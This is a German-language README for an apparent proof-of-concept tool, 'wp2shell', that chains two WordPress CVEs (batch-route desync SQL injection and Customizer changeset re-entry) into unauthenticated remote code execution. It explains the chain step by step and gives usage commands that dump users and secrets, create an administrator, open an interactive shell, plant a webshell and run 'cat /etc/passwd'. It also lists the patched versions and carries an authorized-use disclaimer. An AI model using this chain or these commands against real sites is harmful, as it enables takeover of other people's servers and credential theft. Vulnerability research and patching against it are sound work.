
PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell
Pre-Authentication Remote Code Execution für WordPress 6.9.0–6.9.4 und 7.0.0–7.0.1.
Verkettet CVE-2026-63030 (Batch-Routen-Verwirrung SQLi) mit CVE-2026-60137 (Customizer-Änderungssatz-Wiedereintritt), um eine nicht authentifizierte Administratorerstellung und Betriebssystem-Befehlsausführung zu erreichen. Kein Passwort-Knacken erforderlich.

Props an hashkitten für die Entdeckung, lesen Sie die vollständige technische Analyse von SLCyber hier.
Der REST-API-Batch-Prozessor von WordPress (serve_batch_request_v1) hat einen Off-by-One-Indizierungsfehler: Wenn wp_parse_url() bei einem Unteranfragepfad fehlschlägt, wird das resultierende WP_Error zu $validation[] hinzugefügt, aber nicht zu $matches[]. Dies desynchronisiert die beiden Arrays – jede nachfolgende Anfrage wird unter dem falschen Handler ausgeliefert.
Durch Verschachteln eines sorgfältig strukturierten Batches innerhalb eines anderen Batches kann ein Angreifer:
author__not_in injizieren (der String→Array-Cast überspringt absint())UNION SELECT verwenden, um den Objekt-Cache von WordPress mit gefälschten Beitragsobjekten zu vergiftenSobald die Einrichtung abgeschlossen ist (Tabellenpräfix und Admin-ID ermittelt), wird die Eskalationsnutzlast in einer einzigen HTTP-Anfrage ausgelöst – Cache-Vergiftung, Berechtigungserhöhung und Benutzererstellung erfolgen serverseitig in einem Round-Trip.
HTTP POST /batch/v1
│
▼
┌─ Äußerer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → Parse-Fehler, nicht zu $matches hinzugefügt │
│ [1] POST /wp/v2/posts → $matches[0] (Posts Handler) │
│ [2] POST /batch/v1 → $matches[1] (Batch Handler) │
│ │
│ Desync: request[1] dispatch via $matches[1] │
│ POST /wp/v2/posts body interpretiert als Batch → inner fire │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Innerer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → Parse-Fehler (Desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatch durch Posts Handler │
│ ▲ WP_Query führt UNION aus, vergiftet Objekt-Cache │
│ ▲ the_content rendert [embed] → oEmbed → Hierarchie Loop 1 │
│ → changeset veröffentlicht → Admin-Kontext gesetzt │
│ → nav_menu_item UPDATE → Hierarchie Loop 2 │
│ → parse_request → REST-Wiedereintritt ─────────────┐│
│ │ │
│ [2] GET /wp/v2/posts (Categories Handler) │ │
│ [3] GET /wp/v2/categories (Users Handler) │ │
│ [4] POST /wp/v2/users {body} ◄── Wiedereintritt mit Admin ─────┘│
│ ▲ Desync gleicht dies mit dem Users Handler ab │
│ ▲ Admin-Kontext → Benutzer erstellt → die() │
│ [5] POST /wp/v2/users {} (Desync-Spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Cache-Vergiftung (7 gefälschte Beiträge via UNION):
[embed]-Shortcode in seinem Inhaltcustomize_changeset, Status future, Datum in der Vergangenheit)post_type=nav_menu_item für den is_nav_menu_item-Check)post_type=request, post_status=parse, parent=inner)Ausführungsablauf:
[embed]-Shortcode feuertwp_update_postwp_update_post liest das gecachte Changeset (parent=outer) → Hierarchieprüfung erkennt Loop 1future → automatisch in publish umgewandelt_wp_customize_publish_changeset feuert → wp_set_current_user(admin_id) → Admin-Kontext aktivnav_menu_item[real_id] – Cache sagt Typ=nav_menu_item → UPDATE-Pfadobject_id löst einen gecachten Beitrag mit post_parent=re-entry auf → wp_update_post auf echtem Beitrag$post_id) erkennt Loop 2 (re-entry ↔ inner)Eine Anti-Rekursions-MySQL-Sitzungsvariable (@_wp2s) stellt sicher, dass die Kette genau einmal feuert und sich nicht wiederholt.
--cleanup löscht den erstellten Benutzer und entfernt die Webshell beim Beendengit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Kein pip install, kein virtualenv. Es ist eine Datei.
# Passiver boolean-Orakel-Test
python3 wp2shell.py check http://target.com
# Auch mit Timing und UNION bestätigen
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Wählt automatisch die schnellste Technik aus (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Erzwinge eine bestimmte Technik
python3 wp2shell.py read http://target.com --technique blind --preset users
# Tabellenpräfix automatisch erkennen
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# Exploitieren und in interaktive Shell einsteigen
python3 wp2shell.py exploit http://target.com -i
# Exploitieren, einen Befehl ausführen, aufräumen
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# Auto-Erkennung überspringen, wenn das Präfix bekannt ist
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i
# Durch einen Proxy (Burp, mitmproxy usw.)
python3 wp2shell.py exploit http://target.com --proxy http://127.0.0.1:8080 -i
python3 wp2shell.py shell http://target.com --user admin --password 'P@ssw0rd' -i
Die check- und read-Befehle funktionieren auf jedem betroffenen Ziel. Die exploit-Kette hat drei zusätzliche Anforderungen:
Wenn das Ziel Redis oder Memcached als Objekt-Cache verwendet, ist split_the_query unabhängig von per_page erzwungen und UNION-Zeilen werden beim Nur-ID-Abruf verworfen. Der read-Befehl funktioniert trotzdem (Blind-Extraktion benötigt nicht, dass UNION im Cache überlebt), aber exploit wird fehlschlagen.
| Branch | Verwundbar | Behebung |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
Der Patch fügt $matches[] = $single_request; für Fehlerfälle hinzu (behebt den Off-by-One) und eine Wiedereintritts-Sperre in serve_request().
wp2shell.py (Einzeldatei, ~1650 Zeilen)
├── Client HTTP-Transport mit Batch-URL-Aushandlung
├── Desync Verschachtelter Batch-Nutzlastaufbau
├── BlindExtractor Boolean-Binärsuche (universal)
├── UnionExtractor In-Band via gefälschtem post_title (schnellste)
├── ErrorExtractor EXTRACTVALUE-basiert (mittel)
├── PoisonGraph Hierarchieschleifen-Struktur für Cache-Vergiftung
├── Exploiter Kettenorchestrierung (Seed → Extract → Escalate)
└── AdminSession Authentifizierte Sitzung, Webshell, Aufräumen
Warum /wp/v2/widgets als Quellroute?
Der Widgets-Controller registriert per_page, orderby oder author_exclude nicht in seinem Endpunkt-Schema. Diese Parameter passieren die Validierung unverändert (unbekannte Parameter werden vom Schema-Validator ignoriert). Wenn die Desynchronisation diese Anfrage durch den Posts-Controller leitet, fließen diese rohen Werte direkt in WP_Query.
Warum per_page=500?
class-wp-query.php:3375 – split_the_query erfordert !empty($limits) && posts_per_page < 500. Mit per_page=500 ist die Bedingung 500 < 500 falsch, also ist split_the_query deaktiviert. Die vollständige Abfrage (einschließlich UNION) wird als einzelne Anweisung ausgeführt, und alle injizierten Zeilen überleben im Ergebnissatz und Cache.
Warum nav_menu_item[real_id] (positive ID)?
Die Verwendung einer positiven Beitrags-ID betritt den UPDATE-Pfad bei nav-menu.php:614, der wp_update_post mit einem nicht-null $post_id aufruft. Dies ist entscheidend, da wp_check_post_hierarchy_for_loops bei post.php:8070 frühzeitig zurückkehrt, wenn $post_id = 0 (neue Beiträge). Der Cache wird für diese ID mit post_type=nav_menu_item vergiftet, sodass is_nav_menu_item() den Typ-Check bei nav-menu.php:426 besteht. Der UPDATE-Pfad löst dann die Hierarchieprüfung aus, die Loop 2 erkennt.
Warum zwei Hierarchieschleifen?
Loop 1 (changeset ↔ outer) löst die Changeset-Veröffentlichung aus und setzt den Admin-Kontext. Loop 2 (re-entry ↔ inner) feuert während des Admin-Zeitfensters (innerhalb des save()-Aufrufs der nav_menu_item-Einstellung in der Changeset-Veröffentlichungsschleife) und löst parse_request → REST-Wiedereintritt aus. Die Schleifen sind unabhängig, da die Reparatur von Loop 2 den Wiedereintrittsbeitrag während des Admin-Zeitfensters in Zeile 3581 in die DB schreiben muss – vor dem Zurücksetzen in Zeile 3589.
Dieses Tool wird für autorisierte Sicherheitstests und Forschungszwecke veröffentlicht. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unberechtigter Zugriff auf Computersysteme ist illegal.
Forschung und Entwicklung von CryptoCat.
wp_update_post(re-entry) auf → schreibt Typ=request, Status=parse in DBwp_transition_post_status feuert do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users im hinteren Teil erfolgreich → Administrator erstellt → die()| Anforderung | Warum | Standard-WP? |
|---|
| Mindestens ein veröffentlichter Beitrag | oEmbed benötigt eine lokale URL, um Embed-Verarbeitung auszulösen | Ja (Hallo Welt) |
| Kein persistenter Objekt-Cache | Split-the-Query muss deaktiviert sein, damit UNION-Zeilen überleben | Ja (Datei-Cache Standard) |
| REST-API erreichbar | Wiedereintritt via parse_request benötigt den REST-Server | Ja |
| Direktes Dateisystem-Schreiben | Plugin-Upload benötigt FS_METHOD=direct oder PHP, das wp-content besitzt | Ja (die meisten Hosts) |